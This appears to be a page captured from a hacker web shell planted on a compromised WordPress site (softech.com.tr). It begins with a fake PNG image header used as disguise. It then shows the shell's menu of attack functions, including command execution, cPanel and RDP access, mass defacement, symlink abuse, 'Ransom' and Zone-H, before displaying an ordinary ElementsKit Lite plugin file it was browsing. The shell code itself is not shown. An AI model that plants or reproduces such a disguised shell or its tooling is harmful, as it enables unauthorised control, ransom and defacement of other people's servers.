\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82
| Path : /var/www/html/softech.com.tr/wp-content/plugins/elementskit-lite/core/ |
|
B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H |
| Current File : /var/www/html/softech.com.tr/wp-content/plugins/elementskit-lite/core/build-modules.php |
<?php
namespace ElementsKit_Lite\Core;
use ElementsKit_Lite\Libs\Framework\Attr;
defined( 'ABSPATH' ) || exit;
/**
* Module registrar.
*
* Call assosiated classes of every modules.
*
* @since 1.0.0
* @access public
*/
class Build_Modules{
private $modules;
use \ElementsKit_Lite\Traits\Singleton;
/**
* Hold the module list.
*
* @since 1.0.0
* @access public
* @static
*/
public function __construct(){
$this->modules = \ElementsKit_Lite\Config\Module_List::instance()->get_list('active');
foreach($this->modules as $module_slug => $module){
if(isset($module['path'])){
include_once $module['path'] . 'init.php';
}
// make the class name and call it.
$class_name = (
isset($module['base_class_name'])
? $module['base_class_name']
: '\ElementsKit_Lite\Modules\\'. \ElementsKit_Lite\Utils::make_classname($module_slug) .'\Init'
);
if(class_exists($class_name)){
new $class_name();
}
}
}
}